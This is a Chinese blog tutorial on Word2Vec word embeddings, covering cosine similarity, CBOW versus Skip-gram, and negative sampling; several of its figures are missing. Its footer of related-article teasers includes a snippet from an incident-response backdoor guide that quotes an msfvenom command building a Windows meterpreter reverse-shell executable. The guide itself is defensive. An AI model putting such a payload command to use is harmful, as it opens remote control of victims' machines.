自然语言处理-词向量模型-Word2Vec

目录

一、前言

二、词向量

三、词向量的实际意义

四、模型的整体框架

五、构建输入数据

六、不同模型的对比

七、负采样方案

八、总结 


一、前言

        计算机只认识数值数字,那么怎么认识自然语言呢???答案就是将自然语言转换转换成数值,就词向量。

        先来考虑一个问题,如何能将文本向量化呢???看起来比较抽象,可以先从人的角度来观察。

        如何来描述一个人呢???只用身高或者体重,还是,综合其各项指标呢??

        例如:Kevin Durant 身高211cm, 体重90kg,这能完全描述他吗???当然不能,还有NBA超巨,全明星,死神,等等描述。

二、词向量

        词向量(Word Embedding)是自然语言处理(NLP)中的一种技术,它可以将词汇表中的单词或短语映射到实数向量空间。以下是关于词向量的详细介绍:

  • 词向量的核心在于将每个单词表示为高维空间中的一个点,这些点不仅代表了单词的语义信息,还可以通过计算向量之间的距离来分析词语之间的关联性和相似性。
  • 词向量的生成方法包括神经网络、单词共生矩阵降维、概率模型等,这些方法使词向量能够捕捉到语言数据中的分布属性,从而量化语言项之间的语义相似性。
  • 词向量已被广泛应用于各种NLP任务中,如语法分析、情感分析、命名实体识别、同义词寻找、词性标注、语义角色标注、句法分析和短语识别。

词向量的一个重要优势是它们能够捕获单词之间的细微差别和语义关系,例如,“king”和“queen”之间的向量差异可以反映出性别差异。尽管词向量技术已经相当成熟,但它们仍面临一些限制,比如可能将单词的多个含义混合在一个单一的向量中,这限制了对具有多重含义单词的精确表达。未来的研究可能会集中在如何改进词向量技术,以更准确地表示单词的含义和用法。

        例如:Kevin Durant生成的词向量

0.023230.33452-0.978651.35533-9.234432.23344...3.99457

        那么这个向量在我们人看来,不能理解为什么是这样,但是计算机可以认出来,这个就是Kevin Durant,包括他所有的描述。而且这个向量的维度50~300维(google得出的)。

        只要有了向量就可以用不同的方法来计算相似度。

        通常用欧氏距离,余弦距离等等。

                cosine\_ similarity([-0.4,0.8],[-0.3,0.2])=0.87\;yes

                cosine\_ similarity([-0.4,0.8],[-0.5,-0.4])=-0.20\;no

        如果我们用一个二维的向量空间来表达词向量,可以吗???

        

        虽然可以表达,但是表达的信息太少了。 

        通常,数据维度越高,能够提供的信息越多,从而计算的结果的可靠性就更值得信赖。

        那么词向量真真的有实际意义吗?或者说能表达出词的意思吗?

三、词向量的实际意义

        我们先看这样的图

   

        其实King和Queen他们又有实际意义,而且两个词都相似,所以在词向量表达中,有相同的部分。 

        光看数字我们难以观察到,把数字转换成热度图。

        假如,我们已经训练好了一个词的向量

   

四、模型的整体框架

        在词向量模型中输入和输出分别是什么???

         

        让模型学到一个词用什么样的向量表达最为合适。

        如果用神经网络来训练模型,就是让神经网络学到前后文的一个逻辑关系。

                 

        我们可以看到,输入单词进入模型,然后模型训练,前向传播得到损失值,反向传播,更新参数,更新embeddings表。

        这里 embeddings表 指的是语料库的一个大表,它装有所有的词。而且是用词向量来表达。在开始的时候对于这个表进行一个类似于神经网络权重参数的初始化操作。而且与神经网络不同的是不仅仅要更新权重参数,还要跟新此表,达到让模型学到一个词用什么样的向量表达最为合适的目的。

        查找输入的词,得到词向量,在经过向量矩阵计算得到一个结果值,类似于做一个分类任务,看那个词的概率最大。这样达到预测到下一个词是什么,让神经网络学到前后文的一个逻辑关系的目的

五、构建输入数据

        数据从哪里来?

        everywhere,只要符合自然语言的上下文逻辑即可。

        如何构建训练数据

         

        可以自己构建数据集,在一篇文章中,采用滑动窗口策略。

         这样其实来看,输入数据集是很好构建的。

六、不同模型的对比

         1. CBOW模型

              

        如图,采用滑动窗口策略,Jay was hit by a 框起来,那么输入就是Jay was by a 输出就是 hit。 

  2. Skipgram模型

        同样的,采用滑动窗口策略, Jay was hit by a 框起来,那么输入就是 hit  输出就是  Jay was by a。

        

七、负采样方案

        问题:一个语料库很大,5W,10W,100W,那么在做得分计算,损失计算,概率计算,SoftMax归一化的时候,计算量可想而知的大。那么如何去处理这样的一个问题呢???

        初始方案:输入两个单词看看他们是不是前后文对应的输入和输出,也就相当于一个二分类任务了。

        出发点很好,但此时训练集构建出来的标签按照二分类标准来说就全是1了,无法进行较好的训练。

 改进方法:

        负采样方案

        

        意思就是在构造数据集时,加入一些不对应上下文的词,并且标签设置为0。上图以Skipgram模型为例,一般加入5个负采样的样本。

八、总结 

        1. 初始化磁向量矩阵

        

        input word和output word都是输入数据,且input word在Embedding里找,output word在Context里找。

        2. 通过神经网络反向传播来计算更新,不光更新权重矩阵W,也要更新输入数据。

 

        3. 得到最有可能的值。 

         

         

       

        

      

         

        

        

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/801369.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

git查看单独某一个文件的历史修改记录

git查看单独某一个文件的历史修改记录 git log -p 文件具体路径 注意,Windows下默认文件路径分隔符是 \,在git bash 里面需要改成 /。 git基于change代码修改与提交_git change-CSDN博客文章浏览阅读361次。git cherry-pick:复制多个提交comm…

HiveSQL之lateral view

lateral view是hiveQL中的一个高级功能,用于和表生成函数一起,来处理嵌套数组和结构的数据,特别是在处理复杂的数据结构如JSON或数组内嵌套数组时特别有用。它允许用户在每一行上应用TGF(表生成函数),将生成…

java实现UDP数据交互

1、回显服务器 服务器端 import java.io.IOException; import java.net.DatagramPacket; import java.net.DatagramSocket; import java.net.SocketException;public class UDP_Server {private DatagramSocket socketnull;public UDP_Server(int port) throws SocketExcepti…

k8s集群node节点状态为Not Ready

目录 一、Node节点Not Ready状态的可能原因 二、排查node节点状态为Not Ready的原因 一、Node节点Not Ready状态的可能原因 node节点状态为Not Ready可能的原因有: 1.网络插件出问题 有过安装经验的小伙伴应该很熟悉未安装网络插件的情况下node节点在集群中的状…

【PyTorch][chapter 25][李宏毅深度学习][Transfer Learning-1]

前言: 迁移学习是一种机器学习的方法,指的是一个预训练的模型被重新用在另一个任务中。 比如已经有个模型A 实现了猫狗分类 模型B 要实现大象和老虎分类,可以利用训练好的模型A 的一些参数特征,简化当前的训练 过程. 目录: 简介 Model Fine-Tuning (…

应急响应-后门攻击检测指南Rookit内存马权限维持WINLinux

一、演示案例-Windows-后门-常规&权限维持&内存马 1、常规MSF后门-网络连接分析 常规后门: msfvenom -p windows/meterpreter/reverse_tcp lhostxx.xx.xx.xx lport6666 -f exe -o shell.exe2、权限维持后门-分析检测 自启动测试 REG ADD "HKCU\SO…

vue做游戏vue游戏引擎vue小游戏开发

Vue.js 是一个构建用户界面的渐进式JavaScript框架,它同样可以用于游戏开发。使用 Vue 开发游戏通常涉及以下几个关键步骤和概念: 1. 了解 Vue 的核心概念 1 在开始使用 Vue 进行游戏开发之前,你需要理解 Vue 的一些核心概念,如…

抖音在线点赞任务发布接单运营平台PHP网站源码 多个支付通道+分级会员制度

源码介绍 1、三级代理裂变,静态返佣/动态返佣均可设置。(烧伤制度)。 2、邀请二维码接入防红跳转。 3、自动机器人做任务,任务时间可设置,机器人价格时间可设置。 4、后台可设置注册即送X天机器人。 5、不同级别会…

uniapp开发笔记----配置钉钉小程序

uniapp开发笔记----配置钉钉小程序 1. 项目根目录添加package.json文件2. 之后点击运行就可以看到已经添加了钉钉小程序3. 如果首次使用需要配置 其他功能待开发。。。 接上一章之后,我想要把项目配置成钉钉小程序 官方文档点击这里 1. 项目根目录添加package.json…

NzN的数据结构--二叉树part2

上一章我们介绍了二叉树入门的一些内容,本章我们就要正式开始学习二叉树的实现方法,先三连后看是好习惯!!! 目录 一、二叉树的顺序结构及实现 1. 二叉树的顺序结构 2. 堆的概念及结构 3. 堆的实现 3.1 堆的创建 …

Idea 通过 Tomcat 启动项目时出现“错误:找不到或无法加载主类 ecoding”

问题描述 在Idea中通过Tomcat启动项目时,出现 “错误:找不到或无法加载主类 ecoding” 原因 在Tomcat - Eidt Configurations....中配置VM options时出现了错误,可以查看下该配置是否填写正确;

2024-04-08 NO.5 Quest3 手势追踪进行 UI 交互

文章目录 1 玩家配置2 物体配置3 添加视觉效果4 添加文字5 其他操作5.1 双面渲染5.2 替换图片 ​ 在开始操作前,我们导入先前配置好的预制体 MyOVRCameraRig,相关介绍在 《2024-04-03 NO.4 Quest3 手势追踪抓取物体-CSDN博客》 文章中。 1 玩家配置 &a…

全自动ai生成视频MoneyPrinterTurbo源码

功能介绍 完整的 MVC架构,代码 结构清晰,易于维护,支持 API 和 Web界面 支持视频文案 AI自动生成,也可以自定义文案支持多种 高清视频 尺寸 竖屏 9:16,1080x1920 横屏 16:9,1920x1080 支持 批量视频生成&am…

PHP基础

搭建环境 网站基本概念 服务器概念 服务器是为电脑提供服务的电脑,本地电脑如果有公网IP,那也能当作服务器工作服务器是计算机的一种,它比普通计算机运行更快,负载更高、价格更贵。 服务器在网络中为其它客户机(如P…

借助 Aspose.Words,在 C# 中将图片转换为 Word

Microsoft Word 提供了多种用于生成具有增强的格式化功能的文本文档的工具。除了文本格式之外,我们还可以将各种图形元素和图像合并到Word文档中。在某些情况下,我们可能需要将图片或照片插入DOC或DOCX格式的Word文档中。在本文中,我们将学习…

DevOps已死?2024年的DevOps将如何发展

随着我们进入2024年,DevOps也发生了变化。新兴的技术、变化的需求和发展的方法正在重新定义有效实施DevOps实践。 IDC预测显示,未来五年,支持DevOps实践的产品市场继续保持健康且快速增长,2022年-2027年的复合年增长率&#xff0…

【神经网络】卷积神经网络CNN

卷积神经网络 欢迎访问Blog全部目录! 文章目录 卷积神经网络1. 神经网络概览2.CNN(Convolutional Neunal Network)2.1.学习链接2.2.CNN结构2.2.1.基本结构2.2.1.1输入层2.2.1.2.卷积层|Convolution Layers2.2.1.3.池化层|Pooling layers2.3…

k8s部署efk

环境简介: kubernetes: v1.22.2 helm: v3.12.0 elasticsearch: 8.8.0 chart包:19.10.0 fluentd: 1.16.2 chart包: 5.9.4 kibana: 8.2.2 chart包:10.1.9 整体架构图: 一、Elasticsearch安装…

归一化技术比较研究:Batch Norm, Layer Norm, Group Norm

归一化层是深度神经网络体系结构中的关键,在训练过程中确保各层的输入分布一致,这对于高效和稳定的学习至关重要。归一化技术的选择(Batch, Layer, GroupNormalization)会显著影响训练动态和最终的模型性能。每种技术的相对优势并…

Codeforces Round 938 (Div. 3) A - F 题解

A. Yogurt Sale 题意:要购买n个酸奶,有两种买法,一种是一次买一个,价格a。一种是一次买两个,价格b,问买n个酸奶的最小价格。 题解:很容易想到用2a和b比较,判断输出即可。 代码&am…